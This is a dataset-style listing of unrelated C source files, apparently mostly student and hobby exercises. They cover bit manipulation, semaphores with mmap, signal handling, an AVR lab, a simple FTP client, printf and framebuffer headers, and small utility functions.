language
large_stringclasses 1
value | text
stringlengths 9
2.95M
|
---|---|
C
|
#include <stdio.h>
int main(void) {
unsigned int x = 0x87654321;
unsigned int y, z;
unsigned int buffer = 0x000000FF;
y = buffer&x;
buffer = 0xFFFFFF00;
z=buffer&x;
z+= 0x000000FF;
printf("%08x %08x\n", y, z);
return 0;
}
|
C
|
#include <stdlib.h>
#include <sys/types.h>
#include <stdio.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <ctype.h>
#include <sys/ipc.h>
#include <sys/sem.h>
/*---------Global Variables-----------*/
/*Semaphore initialization and incrementing/decrementing*/
int sem;
key_t key;
struct sembuf sem_inc = {
.sem_num = 0,
.sem_op = 1,
.sem_flg = 0
};
struct sembuf sem_dec = {
.sem_num = 0,
.sem_op = -1,
.sem_flg = 0
};
/*--------Function declaration---------*/
void sem_wait();
void sem_signal();
void print_file_contents(char[], int);
int contains_val(int[], int, int);
void change_resource(char[], int);
/*-----------Main program--------------*/
int main(int argc, char *argv[])
{
/*Initialize semaphore or locate the old one*/
key = ftok("./res.txt", 1);
sem = semget(key, 1, 0);
if(sem == -1)
{
printf("Creating semaphore...\n");
sem = semget(key, 1, IPC_CREAT);
}
else
{
printf("Found old semaphore....\n");
}
printf("Semaphore ID: %d\n", sem );
/*Open up the file, read it's contents an then mmap it*/
char *filename = argv[1];
int fd = open(filename, O_RDWR, S_IRUSR | S_IWUSR);
struct stat sb;
if(fstat(fd, &sb) == -1)
{
perror("couldn't get the file size");
}
char *file_contents = mmap(NULL, sb.st_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
/*Keep prompting user for allocation*/
while(1)
{
change_resource(file_contents, sb.st_size);
msync((void*)file_contents, sb.st_size, MS_SYNC);
}
}//end of main()
/*------Function Definition------*/
/*Semaphore operations*/
void sem_wait()
{
semop(sem, &sem_dec, 1);
}
void sem_signal()
{
semop(sem, &sem_inc, 1);
}
/*Display the first 'size' characters of the string arr[] */
void print_file_contents(char arr[], int size)
{
printf("\n");
for(int i = 0; i < size; i++)
{
printf("%c", arr[i] );
}
}
/*Check to see if num is in integer array arr of length size*/
int contains_val(int arr[], int num, int size)
{
int count = 0;
for(int i = 0;i < size; i++)
{
if(arr[i] == num)
count++;
}
return count;
}
void change_resource(char *file_contents, int length){
/*Add the available resource types*/
int arr_count = 0;
int resource_arr[9];
for(int i = 0; i < length - 2; i = i + 4)
{
resource_arr[arr_count] = file_contents[i] - '0';
arr_count++;
}
/*Prompt the user for what resource they want to allocate and ensure it is
a resource that is available to be allocated, get the number available,
and then allocate the resources*/
printf("What resource would you like to allocate?\n");
int resource;
while(1)
{
if (scanf("%d", &resource)==1 && resource <= 9 && resource >= 0)
{
if(contains_val(resource_arr, resource, arr_count))
break;
else{
printf("error: value given is not one of the options\n");
getchar();
}
}
else
{
printf("error: enter an integer in range\n");
getchar();
}
}
int subtract;
printf("How many of resource %d you like to allocate?\n", resource);
while(1)
{
if (scanf("%d", &subtract)==1 && subtract >= 0)
break;
else
{
printf("Error! Enter a new value\n");
getchar();
}
}
/*Critical section, allocate the resources. If user asks for more than available
then just take what is there and short the user*/
sem_wait();
int num_resources, index;
for(int i = 0; i < length; i = i + 4)
{
if(file_contents[i] - '0' == resource)
{
index = i + 2;
num_resources = file_contents[index] - '0';
if(num_resources == 0)
{
printf("\nNo resources available to allocate!\n");
file_contents[index] = '0';
}
else if(num_resources - subtract >= 0)
{
file_contents[index] = num_resources - subtract + '0';
}
else
{
printf("\nTaking the rest of the resources!\n");
file_contents[index] = '0';
}
}
}
printf("\nFile after changing\n");
print_file_contents(file_contents, length);
sem_signal();
}//end of change_resource
|
C
|
// #include <stdio.h>
// #include <fcntl.h>
// #include <unistd.h>
// #include <string.h>
// int main(void)
// {
// int fd;
// char rdbuf[10] = {0};
// char wrbuf[10] = "helloworld";
// int i;
// fd = open("/dev/mem",O_RDWR);
// if(fd < 0)
// {
// printf("open /dev/mem failed.");
// }
// read(fd,rdbuf,10);
// if(strlen(rdbuf) <=0)
// {
// printf("Read error!\n");
// }
// for(i = 0;i < 10;i++)
// {
// printf("old mem[%d]:%c\n",i,*(rdbuf + i));
// }
// lseek(fd,0,0);
// write(fd,wrbuf,10);
// lseek(fd,0,0);//move f_ops to the front
// read(fd,rdbuf,10);
// for(i = 0;i < 10;i++)
// {
// printf("new mem[%d]:%c\n",i,*(rdbuf + i));
// }
// return 0;
// }
#include <stdio.h>
#include <stdint.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#define page_map_file "/proc/self/pagemap"
#define PFN_MASK ((((uint64_t)1)<<55)-1)
#define PFN_PRESENT_FLAG (((uint64_t)1)<<63)
int mem_addr_vir2phy(unsigned long vir, unsigned long *phy)
{
int fd;
int page_size=getpagesize();
unsigned long vir_page_idx = vir/page_size;
unsigned long pfn_item_offset = vir_page_idx*sizeof(uint64_t);
uint64_t pfn_item;
fd = open(page_map_file, O_RDONLY);
if (fd<0)
{
printf("open %s failed", page_map_file);
return -1;
}
if ((off_t)-1 == lseek(fd, pfn_item_offset, SEEK_SET))
{
printf("lseek %s failed", page_map_file);
return -1;
}
if (sizeof(uint64_t) != read(fd, &pfn_item, sizeof(uint64_t)))
{
printf("read %s failed", page_map_file);
return -1;
}
if (0==(pfn_item & PFN_PRESENT_FLAG))
{
printf("page is not present");
return -1;
}
*phy = (pfn_item & PFN_MASK)*page_size + vir % page_size;
return 0;
}
|
C
|
/*
* Christian Legaspino & [email protected]
* Carissa Lo & [email protected]
* Lab Section: 23
* Assignment: Lab 3 Exercise 3
*
* I acknowledge all content contained herein, excluding template or
* example code, is my own original work.
*/
#include <avr/io.h>
// Bit-access function
unsigned char SetBit(unsigned char x, unsigned char k, unsigned char b) {
return (b ? x | (0x01 << k) : x & ~(0x01 << k));
}
unsigned char GetBit(unsigned char x, unsigned char k) {
return ((x & (0x01 << k)) != 0);
}
int main(void)
{
DDRA = 0x00; PORTA = 0xFF;
//DDRB = 0x00; PORTB = 0xFF;
DDRC = 0xFF; PORTC = 0x00;
unsigned char val = 0x00;
unsigned char belt = 0x00;
unsigned char tmp = 0x00;
while(1){
val = PINA & 0x0F;
belt = PINA;
tmp = 0x00;
if(val == 0){
tmp = 0x40;
}
else if(val <= 2){
tmp = 0x01 << 5 | 0x40;
}
else if(val <= 4){
tmp = 0x03 << 4 | 0x40;
}
else if(val <= 6){
tmp = 0x07 << 3;
}
else if(val <= 9){
tmp = 0x0F << 2;
}
else if(val <= 12){
tmp = 0x1F << 1;
}
else if(val <= 15){
tmp = 0x3F;
}
else{
tmp = 0;
}
if(GetBit(belt,4) && GetBit(belt,5)){
if(!GetBit(belt,7)){
tmp = tmp | 0x80;
}
}
PORTC = tmp;
}
}
|
C
|
#include <stdio.h>
#include <sys/signal.h>
void ger_nova();
main()
{
void (*ger_antiga)();
/* ctrl-c == sinal SIGINT */
printf ("Primeiro trecho de tratamento de ctrl-c \n");
signal(SIGINT, SIG_IGN);
sleep(5);
printf("\n");
printf ("Segundo trecho de tratamento de ctrl-c \n");
signal (SIGINT, ger_nova);
sleep(5);
printf("\n");
printf ("Terceiro trecho de tratamento de ctrl-c \n");
ger_antiga = (void *) signal(SIGINT, SIG_DFL);
sleep(5);
printf("\n");
printf ("Quarto trecho de tratamento de ctrl-c \n");
signal(SIGINT, ger_antiga);
sleep(5);
printf ("\nTchau!\n");
}
void ger_nova()
{
printf ("O sinal SIGINT foi captado. Continue a execucao!\n");
}
|
C
|
#include<stdio.h>
#include<conio.h>
int main()
{
int TS,basic,hra,da,allowance,pf;
char grade;
clrscr();
printf("Enter the basic salary: ");
scanf("%d",&basic);
printf("Enter the grade: ");
scanf("%s",&grade);
if (grade==65)
{
allowance=1700;
}
else if (grade==66)
{
allowance=1500;
}
else
{
allowance=1300;
}
TS=basic+(20/100)*basic+(50/100)*basic+allowance-(11/100)*basic;
printf("Total Salary: %d", TS);
getch();
return 0;
}
|
C
|
#include "libft.h"
char *ft_strdup(const char *str)
{
char *s;
int i;
s = (char *)malloc(sizeof(char) * ft_strlen(str) + 1);
i = 0;
if (!s)
return (NULL);
while (str[i] != '\0')
{
s[i] = str[i];
i++;
}
s[i] = '\0';
return (s);
}
|
C
|
/* getch/putchͨͷļ"getputch.h" */
#ifndef __GETPUTCH
#define __GETPUTCH
#if defined(_MSC_VER) || (__TURBOC__) || (LSI_C)
/* MS-WindowsMS-DOSVisual C++, Borland C++, LSI-C 86 etc ...*/
#include <conio.h>
static void init_getputch(void) { /* */ }
static void term_getputch(void) { /* */ }
#else
/* ṩCursesUNIX/Linux/OS X */
#include <curses.h>
#undef putchar
#undef puts
#undef printf
static char __buf[4096];
/*--- _ _putchar൱putcharáз+س滻з---*/
static int __putchar(int ch)
{
if (ch == '\n')
putchar('\r');
return putchar(ch);
}
/*--- putchʾ1ַ ---*/
static int putch(int ch)
{
int result = putchar(ch);
fflush(stdout);
return result;
}
/*--- _ _printf൱printfáз+س滻з---*/
static int __printf(const char *format, ...)
{
va_list ap;
int count;
va_start(ap, format);
vsprintf(__buf, format, ap);
va_end(ap);
for (count = 0; __buf[count]; count++) {
putchar(__buf[count]);
if (__buf[count] == '\n')
putchar('\r');
}
return count;
}
/*--- _ _puts൱putsáз+س滻з---*/
static int __puts(const char *s)
{
int i, j;
for (i = 0, j = 0; s[i]; i++) {
__buf[j++] = s[i];
if (s[i] == '\n')
__buf[j++] = '\r';
}
return puts(__buf);
}
/*--- ʼ ---*/
static void init_getputch(void)
{
initscr();
cbreak();
noecho();
refresh();
}
/*--- ֹ ---*/
static void term_getputch(void)
{
endwin();
}
#define putchar __putchar
#define printf __printf
#define puts __puts
#endif
#endif
|
C
|
/*
* 变量分类演示
* */
#include <stdio.h>
void func(void) {
static int val = 100;
printf("val是%d\n", val);
val = 10;
}
void func1(void) {
int val = 1000;
func();
}
int main() {
func();
func1();
return 0;
}
|
C
|
#ifndef NODE_H
#define NODE_H
struct Node{
/*Position in the array where we keep track of all nodes*/
int arrayIndex;
int numberofEdges;
int isLeaf;
/*Specifes to which string Si from the set of strigs
this (leaf) node belongs*/
int stringIndex;
/*Fields used by the temporary list of edges for all nodes*/
int edgeStartIndex;
int currentEdgeIndex;
/*Base address in the table of transitions*/
int baseAddress;
};
typedef struct Node Node;
Node *Node_Create(int arrayIndex, int textIndex, int isLeaf);
#endif
|
C
|
#ifndef LOG_DEFINED
#define LOG_DEFINED
#include <stdio.h>
typedef enum {
LOG_LEVEL_ALWAYS = -1,
LOG_LEVEL_DEBUG = 0,
LOG_LEVEL_INFO = 1,
LOG_LEVEL_WARN = 2,
LOG_LEVEL_ERROR = 3,
LOG_LEVEL_FATAL = 4,
LOG_LEVEL_NEVER = 5
} LogLevel;
void log_init(FILE *out, LogLevel minLevel);
void log_impl(LogLevel level, const char *file, int lineNumber, ...);
#define LOG_DEBUG(...) log_impl(LOG_LEVEL_DEBUG, __FILE__, __LINE__, __VA_ARGS__)
#define LOG_INFO(...) log_impl(LOG_LEVEL_INFO, __FILE__, __LINE__, __VA_ARGS__)
#define LOG_WARN(...) log_impl(LOG_LEVEL_WARN, __FILE__, __LINE__, __VA_ARGS__)
#define LOG_ERROR(...) log_impl(LOG_LEVEL_ERROR, __FILE__, __LINE__, __VA_ARGS__)
#define LOG_FATAL(...) do { log_impl(LOG_LEVEL_FATAL, __FILE__, __LINE__, __VA_ARGS__); exit(1); } while(0)
#endif /*LOG_DEFINED*/
|
C
|
/*
** EPITECH PROJECT, 2017
** my.h
** File description:
** Définition fonctions
*/
#ifndef _MY_H_
#define _MY_H_
#include <stdarg.h>
int sum_stdarg(int i, int nb, ...);
void my_putchar(char c, int *count);
char *my_strcpy(char *dest, char const *src);
void my_put_nbr(int nb, int base, int *count);
void my_swap(int *nb1, int *nb2);
int my_putstr(char const *str, int *count);
int my_strlen(char const *str);
int my_getnbr(char const *str);
char *my_revstr(char *str);
int my_printf(char *str, ...);
int my_specifiers(char *str, int *i, va_list list, int *count);
int length_specifiers_l(char *str, int *i, va_list list, int *count);
int specifier_long_l_2(char *str, int *i, va_list list, int *count);
int specifier_long_ll_2(char *str, int *i, va_list list, int *count);
int length_specifiers_h(char *str, int *i, va_list list, int *count);
int flags(char *str, int i, int *count);
int specifier_long_l(char *str, int *i, va_list list, int *count);
int specifier_long_ll(char *str, int *i, va_list list, int *count);
int specifier_h(char *str, int *i, va_list list, int *count);
int specifier_h_2(char *str, int *i, va_list list, int *count);
int specifier_simple(char *str, int i, va_list list, int *count);
int specifier_uns(char *str, int i, va_list list, int *count);
int specifier_uns_2(char *str, int i, va_list list, int *count);
int specifier_hh(char *str, int *i, va_list list, int *count);
int specifier_hh_2(char *str, int *i, va_list list, int *count);
void uns_long(unsigned long long int nbr, int base, int *count);
void int_long(long long int nbr, int base, int *count);
void uns_long_lock(unsigned long long int nbr, int base, int *count);
void short_int(short int nbr, int base, int *count);
void uns_short(unsigned short int nbr, int base, int *count);
void uns_short_lock(unsigned short int nbr, int base, int *count);
void sign_char(signed char nbr, int base, int *count);
void uns_char(unsigned char nbr, int base, int *count);
void uns_char_lock(unsigned char nbr, int base, int *count);
void no_printable(char *str, int *count);
#endif
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <string.h>
#include <ctype.h>
static int sock;
static int rec;
static char buffer[1024];
static char serverMessage[1024];
static char* IPAddress;
static struct sockaddr_in sockInfo;
//Quit program
void myftp_quit() {
strcpy(buffer, "QUIT\r\n");
send(sock, buffer, strlen(buffer), 0);
strcpy(serverMessage, "");
rec = recv(sock, serverMessage, sizeof(serverMessage), 0);
printf("Server reply: %.*s", rec, serverMessage);
close(sock);
}
//Enters passive mode.
int myftp_passivemode(int *port) {
int h1, h2, h3, h4, p1, p2;
char *result;
strcpy(buffer, "PASV\r\n");
send(sock, buffer, strlen(buffer), 0);
strcpy(serverMessage, "");
rec = recv(sock, serverMessage, sizeof(serverMessage), 0);
printf("Server reply: %.*s", rec, serverMessage);
result = strrchr(serverMessage, '(');
sscanf(result, "(%d,%d,%d,%d,%d,%d)", &h1, &h2, &h3, &h4, &p1, &p2);
*port = (p1*256) + p2;
return 1;
}
//Opens data channel
int myftp_datasocketOpen(int port) {
struct sockaddr_in dataInfo;
int sock_data;
printf("Creating data socket...\n");
if ((sock_data = socket(AF_INET, SOCK_STREAM, 0)) == 0) {
perror("Data socket formation failed");
exit(-1);
}
printf("Data socket creation successful.\n");
dataInfo.sin_port = htons(port);
dataInfo.sin_addr = sockInfo.sin_addr;
dataInfo.sin_family = AF_INET;
printf("Connecting...\n");
if (connect(sock_data, (struct sockaddr *)&dataInfo, sizeof(dataInfo)) < 0) {
perror("Connection failed");
exit(-1);
}
printf("Connection successful.\n");
return sock_data;
}
//get file command
int myftp_getfile(char* fileName) {
int port, fileSize, file, totalBytes, i, sock_data;
char fileCon[4096];
FILE *f;
bzero(fileCon, 4096);
myftp_passivemode(&port);
sock_data = myftp_datasocketOpen(port);
strcpy(buffer, "");
sprintf(buffer, "SIZE %s\r\n", fileName);
send(sock, buffer, strlen(buffer), 0);
strcpy(serverMessage, "");
rec = recv(sock, serverMessage, sizeof(serverMessage), 0);
if (strncmp(serverMessage, "213", 3) != 0) {
printf("File size could not be found.\nGET FAILED.\n");
return 0;
}
fileSize = atoi(serverMessage + 4);
sprintf(buffer, "RETR %s\r\n", fileName);
send(sock, buffer, strlen(buffer), 0);
strcpy(serverMessage, "");
rec = recv(sock, serverMessage, sizeof(serverMessage), 0);
printf("Server reply: %.*s", rec, serverMessage);
if (strstr(serverMessage, "150") != NULL) {
f = fopen(fileName, "w");
rec = recv(sock_data, fileCon, sizeof(fileCon), 0);
while (rec > 0) {
rec = recv(sock_data, fileCon, sizeof(fileCon), 0);
fprintf(f, "%s", fileCon);
}
printf("GET SUCCESS: %d BYTES TRANSFERRED\n", fileSize);
fclose(f);
}
strcpy(serverMessage, "");
rec = recv(sock, serverMessage, sizeof(serverMessage), 0);
printf("Server reply: %.*s", rec, serverMessage);
close(sock_data);
return 1;
}
//put a file into ftp
int myftp_putfile(char* fileName){
int port, fileSize, sock_data;
char fileCon[4096];
FILE *f;
bzero(fileCon, 4096);
myftp_passivemode(&port);
sock_data = myftp_datasocketOpen(port);
strcpy(buffer,"");
sprintf(buffer, "STOR %s\r\n", fileName);
send(sock, buffer, strlen(buffer), 0);
strcpy(serverMessage, "");
rec = recv(sock,serverMessage,strlen(serverMessage),0);
printf("Server reply: %.*s", rec, serverMessage);
if (strstr(serverMessage, "150") != NULL) {
printf("test\n");
f = fopen(fileName, "r");
rec = recv(sock_data, fileCon, sizeof(fileCon), 0);
while (rec > 0) {
rec = recv(sock_data, fileCon, sizeof(fileCon), 0);
}
printf("PUT SUCCESS: %d BYTES TRANSFERRED\n", fileSize);
fclose(f);
}
strcpy(serverMessage, "");
rec = recv(sock,serverMessage,strlen(serverMessage),0);
printf("Server reply: %.*s", rec, serverMessage);
close(sock_data);
return 1;
}
//list files
void myftp_list() {
int port, sock_data;
myftp_passivemode(&port);
sock_data = myftp_datasocketOpen(port);
strcpy(buffer, "LIST\r\n");
send(sock, buffer, (int)strlen(buffer), 0);
strcpy(serverMessage, "");
rec = recv(sock, serverMessage, sizeof(serverMessage), 0);
printf("Server reply: %.*s", rec, serverMessage);
strcpy(serverMessage, "");
rec = recv(sock_data, serverMessage, sizeof(serverMessage), 0);
printf("%s", serverMessage);
strcpy(serverMessage, "");
rec = recv(sock, serverMessage, sizeof(serverMessage), 0);
printf("Server reply: %.*s", rec, serverMessage);
strcpy(serverMessage, "");
rec = recv(sock_data, serverMessage, sizeof(serverMessage), 0);
strcpy(serverMessage, "");
close(sock_data);
}
int main(int argc, char *argv[]) {
int test;
char* serverName;
struct hostent* host;
char userName[30], password[30];
if (argc < 2 || argc > 2) {
printf("Usage: %s <server name>\nPlease try again and enter server name.\n", argv[0]);
exit(-1);
}
if (argc == 2) {
serverName = argv[1];
}
host = gethostbyname(serverName);
if (host == NULL) {
printf("Server could not be found. Please try again.\n");
exit(-1);
}
IPAddress = inet_ntoa(*((struct in_addr*)host->h_addr_list[0]));
sockInfo.sin_family = AF_INET;
sockInfo.sin_port = htons(21);
printf("Creating socket...\n");
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == 0) {
perror("Socket formation failed");
exit(-1);
}
printf("Socket creation successful.\n");
if ((test = (inet_pton(AF_INET, IPAddress, &(sockInfo.sin_addr)))) == 0) {
perror("Inet_pton failed");
exit(-1);
}
printf("Connecting...\n");
if (connect(sock, (struct sockaddr *)&sockInfo, sizeof(sockInfo)) < 0) {
perror("Connection failed");
exit(-1);
}
printf("Connection successful.\n");
printf("Please enter username:\n");
scanf("%s", userName);
printf("Please enter password:\n");
scanf("%s", password);
strcpy(buffer, "USER ");
strcat(buffer, userName);
strcat(buffer, "\r\n");
strcpy(userName, buffer);
strcpy(buffer, "");
strcpy(buffer, "PASS ");
strcat(buffer, password);
strcat(buffer, "\r\n");
strcpy(password, buffer);
rec = recv(sock, serverMessage, sizeof(serverMessage), 0);
printf("Server reply: %.*s", rec, serverMessage);
send(sock, userName, (int)strlen(userName), 0);
rec = recv(sock, serverMessage, sizeof(serverMessage), 0);
printf("Server reply: %.*s", rec, serverMessage);
send(sock, password, (int)strlen(password), 0);
rec = recv(sock, serverMessage, sizeof(serverMessage), 0);
printf("Server reply: %.*s", rec, serverMessage);
printf("LOGIN SUCCESSFUL.\n");
getchar();
while (1) {
char choice[20], fileDir[40];
printf("myftp> ");
fgets(choice, 20, stdin);
strtok(choice, "\n");
if (strcmp(choice, "quit") == 0) {
myftp_quit();
printf("QUIT SUCCESSFUL.\n");
break;
}
else if (strcmp(choice, "ls") == 0) {
myftp_list();
}
else if (strncmp(choice, "cd ", 3) == 0) {
sprintf(buffer, "CWD %s\r\n", choice+3);
send(sock, buffer, strlen(buffer), 0);
rec = recv(sock, serverMessage, sizeof(serverMessage), 0);
printf("Server reply: %.*s", rec, serverMessage);
if (strstr(serverMessage, "250") != NULL) {
printf("CD SUCCESSFUL.\n");
} else {
printf("CD FAILED.\n");
}
}
else if (strncmp(choice, "get ", 4) == 0) {
strncpy(fileDir, ((char*)choice)+4, strlen(choice)-1);
printf("File name: %s\n", fileDir);
myftp_getfile(fileDir);
}
else if (strncmp(choice, "put ", 4) == 0) {
strncpy(fileDir, ((char*)choice)+4, strlen(choice)-1);
printf("File name: %s\n", fileDir);
myftp_putfile(fileDir);
}
else if (strncmp(choice, "delete ", 7) == 0) {
strncpy(fileDir, ((char*)choice)+7, strlen(choice)-1);
sprintf(buffer, "DELE %s\r\n", fileDir);
send(sock, buffer, strlen(buffer),0);
strcpy(serverMessage, "");
rec = recv(sock,serverMessage,strlen(serverMessage),0);
printf("Server reply: %.*s", rec, serverMessage);
if (strstr(serverMessage, "550") != NULL) {
printf("DELETE FAILED.\n");
} else {
printf("DELETE SUCCESSFUL.\n");
}
strcpy(serverMessage, "");
}
else {
printf("Invalid command.\n");
}
}
return 0;
}
|
C
|
#include <stdio.h>
int funcao(int V[], int N, int k){
if (N == 0)
{
return -1;
}
if (V[N-1]==k)
{
return N-1;
}
return funcao(V,N-1,k);
}
int main(void)
{
int N=5,V[N],k=5,r;
V[0]=5,V[1]=4,V[2]=3,V[3]=6,V[4]=1;
r=funcao(V,N,k);
printf("%d\n",r);
return 0;
}
|
C
|
/**
* K&R Exercise 8-7
* Page 189
* malloc accepts a size request without checking its plausibility; free believes that the block it is asked to free contains a valid size field. Improve these routines so they take more pains with error checking.
* Completed
**/
int main(void)
{
return 0;
}
|
C
|
/*============================================================================
framebuffer.h
A "class" for doing primitive manipulations of a Linux framebuffer device.
The usual sequence of operations is
framebuffer_create
framebuffer_init
framebuffer_set_pixel (probably many times)
framebuffer_deinit
framebuffer_destroy
Copyright (c)2020 Kevin Boone, GPL v3.0
============================================================================*/
#pragma once
#include "defs.h"
struct _FrameBuffer;
typedef struct _FrameBuffer FrameBuffer;
BEGIN_DECLS
/** Create a new Framebuffer object. This method always succeeds, and
must always be followed eventually by a call to framebuffer_destroy(). */
FrameBuffer *framebuffer_create (const char *fbdev);
/** Initialize the framebuffer device, get its properties, and map its
data area into memory. This method can fail, usually for lack of
permissions. If it succeeds, the caller must eventually call
framebuffer_deinit(). */
BOOL framebuffer_init (FrameBuffer *self, char **error);
/** Tidy up the work done by framebuffer_init(). */
void framebuffer_deinit (FrameBuffer *self);
/** Delete this object and free memory. Note that this method will not
"closed" the framebuffer -- use _deinit() for this. */
void framebuffer_destroy (FrameBuffer *self);
/** Set the specified pixel to the specified RGB colour values.
Note that repeated calls to this method are quite inefficient, as
the pixel coordinates are converted to memory locations in every
call. Still, these overheads are usually a small price to pay
for encapsulating the gritty details of the framebuffer memory. */
void framebuffer_set_pixel (FrameBuffer *self, int x,
int y, BYTE r, BYTE g, BYTE b);
/** Get the width of the framebuffer in pixels. The FB must be
initialized first. */
int framebuffer_get_width (const FrameBuffer *self);
/** Get the height of the framebuffer in pixels. The FB must be
initialized first. */
int framebuffer_get_height (const FrameBuffer *self);
/** Get the RGB colour values of a specific pixel. */
void framebuffer_get_pixel (const FrameBuffer *self,
int x, int y, BYTE *r, BYTE *g, BYTE *b);
/** Get a pointer to the data area. This might be useful for
bulk manipulations, but the caller will need to know the structure
of the framebuffer's memory to make much sense of it. */
BYTE *framebuffer_get_data (FrameBuffer *self);
/** Set the whole framebuffer to black. */
void framebuffer_clear (FrameBuffer *self);
END_DECLS
|
C
|
int deriPrimiCano(void)
{
float a, b, c;
printf("\n\n a = ");
scanf("%f", &a);
printf(" b = ");
scanf("%f", &b);
printf(" c = ");
scanf("%f", &c);
printf("\n Soit p(x) = %.3fx^2 + %.3fx + %.3f\n\n", a, b, c);
printf("=====================2. DERIVEE DE p(x) - EXPRESSION ALGEBRIQUE DE p'(x).=====================\n");
printf("\n La fonction p(x) est derivable en tant que fonction polynome sur R.\n");
printf("----------------------------------------------------\n Donc p'(x) = %.4fx + %.4f\n----------------------------------------------------\n\n\n", a*2.0, b);
printf("================3. PRIMITIVES DE p(x) - EXPRESSION ALGEBRIQUE GENERALE DE P(x).================\n");
printf("\n La fonction p(x) admet comme primitives : sur R.\n");
printf("----------------------------------------------------\n Donc P(x) = %.4fx^3 + %.4fx^2 + %.4fx + C (ou C est une constante)\n----------------------------------------------------\n\n\n", a/3.0, b/2.0, c);
printf("==================================4. FORME CANONIQUE DE p(x).==================================\n");
printf("\n La forme canonique de p(x) est :\n----------------------------------------------------\n p(x) = %.4f(x - %.4f)^2 + %.4f\n----------------------------------------------------\n", a, -b/(2*a), -(pow(b,2)-4*a*c)/(4*a));
return 0;
}
|
C
|
#include <stdint.h>
#include <sys/time.h>
#include <time.h>
#include <stdlib.h>
#include <math.h>
#include <stdarg.h>
#include <stdio.h>
#include "utils.h"
Rect create_rect(double tl_x, double tl_y, double br_x, double br_y) {
Rect o;
o.tl.x = tl_x;
o.tl.y = tl_y;
o.br.x = br_x;
o.br.y = br_y;
return o;
}
// Returns the current time as microseconds since unix epoch
// - https://stackoverflow.com/questions/11604336/microtime-equivalent-for-c-and-c
uint64_t microtime() {
struct timeval res;
gettimeofday(&res, NULL);
return ((uint64_t)res.tv_sec * MICROSECONDS_PER_SECOND) + res.tv_usec;
}
uint64_t nanotime() {
struct timespec res;
clock_gettime(CLOCK_REALTIME, &res);
return ((uint64_t)res.tv_sec * NANOSECONDS_PER_SECOND) + (uint64_t)res.tv_nsec;
}
// Returns the sign of a double
double fsign(double x) {
if (x < 0.0) {
return -1.0;
}
if (x > 0.0) {
return 1.0;
}
return 0.0;
}
// Returns a double clamped between two values
double fclamp(double x, double low, double high) {
return fmin(high, fmax(low, x));
}
// Convert a double from one range to another
double fremap(double s, double x1, double y1, double x2, double y2) {
return x2 + (s - x1) * (y2 - x2) / (y1 - x1);
}
char * vmsprintf(char * format, va_list va1) {
va_list va2;
va_copy(va2, va1);
size_t length = vsnprintf(NULL, 0, format, va2);
va_end(va2);
char * output = (char *)malloc(sizeof(char) * (length + 1));
vsnprintf(output, length + 1, format, va1);
return output;
}
char * msprintf(char * format, ...) {
va_list va;
va_start(va, format);
char * output = vmsprintf(format, va);
va_end(va);
return output;
}
Vec2d vec2d(double x, double y) {
Vec2d o;
o.x = x;
o.y = y;
return o;
}
// Scale a 2d vector from one rectangle to another
Vec2d vec2dremap(Vec2d s, Rect range_in, Rect range_out) {
Vec2d o;
o.x = fremap(s.x, range_in.tl.x, range_in.br.x, range_out.tl.x, range_out.br.x);
o.y = fremap(s.y, range_in.tl.y, range_in.br.y, range_out.tl.y, range_out.br.y);
return o;
}
// Given a vector, calculate a new y-value for a given x that is along the path of the vector
Vec2d vec2d_intercept_y_at_x(Vec2d point, double x) {
Vec2d o;
o.x = x;
o.y = x * point.y / point.x;
return o;
}
// Given a vector, calculate a new x-value for a given y that is along the path of the vector
Vec2d vec2d_intercept_x_at_y(Vec2d point, double y) {
Vec2d o;
o.x = y * point.x / point.y;
o.y = y;
return o;
}
double vec2d_dot(Vec2d a, Vec2d b) {
return a.x * b.x + a.y * b.y;
}
double vec2d_magnitude(Vec2d point) {
return sqrt(pow(point.x, 2.0) + pow(point.y, 2.0));
}
// Given two vectors and a velocity, determine the time it will take to cross
double vec2d_intercept_time(Vec2d p0, Vec2d p1, Vec2d v) {
// Check if line is parallel (they'll never meet if they are)
if (p0.x != 0.0 && p1.x != 0.0 && p0.y / p0.x == p1.y / p1.x) {
return INFINITY;
}
double dist = vec2d_magnitude(p1) - vec2d_magnitude(p0);
double t = dist / vec2d_magnitude(v);
return t;
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <math.h>
int main()
{
int a;
int b;
int max;
printf("Podaj pierwsza liczbe calkowita: ");
scanf("%i",&a);
printf("Podaj pierwsza liczbe calkowita: ");
scanf("%i",&b);
max = abs(a);
if (max<abs(b))
max = b;
printf("Wieksza wartosc bezwzgledna jest rowna: %i", max);
return 0;
}
|
C
|
#include<stdio.h>
void main()
{
int a,b,c,d;
float avg;
printf("Program to find average of 4 numbers\n");
printf("\nEnter Numbers one by one\n");
scanf("%d",&a);
scanf("%d",&b);
scanf("%d",&c);
scanf("%d",&d);
avg=(a+b+c+d)/4;
printf("The average of entered values are = %f",avg);
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
int cmp( const void *A, const void *B ) {
int a = *( const int * ) A;
int b = *( const int * ) B;
if ( a < b )
return -1;
if ( a == b )
return 0;
return 1;
}
int main( int argc, char **argv ) {
int total = 0;
int dim[3];
const char *filename = (argc > 1) ? argv[1] : "02-input";
FILE *file = fopen( filename, "r" );
if ( !file ) {
perror( filename );
exit( 1 );
}
while ( !feof( file ) ) {
fscanf( file, "%dx%dx%d\n", &dim[0], &dim[1], &dim[2] );
qsort( dim, 3, sizeof( int ), &cmp );
total += 2 * ( dim[0] + dim[1] ) + dim[0] * dim[1] * dim[2];
}
printf( "%d\n", total );
exit( 0 );
}
|
C
|
/* Popa Mircea-Marian 332CB */
#include "so_scheduler.h"
#include "list.h"
#include "so_scheduler.h"
#include <pthread.h>
#ifndef PRIORITY_QUEUE_H
#define PRIORITY_QUEUE_H
#define isSimpleQueueEmpty(p_q) (!(*(p_q->head)))
/* structura unei cozi simple */
typedef struct SimpleQueue {
SimpleLinkedList_A head, tail;
} SimpleQueue_T, *SimpleQueue_P;
/* constrcutor */
SimpleQueue_P newSimpleQueue(void);
/* se adauga in coada */
int addToSimpleQueue(SimpleQueue_P q, threadInfo_P mutex);
/* se scoate din coada */
threadInfo_P popSimpleQueue(SimpleQueue_P q);
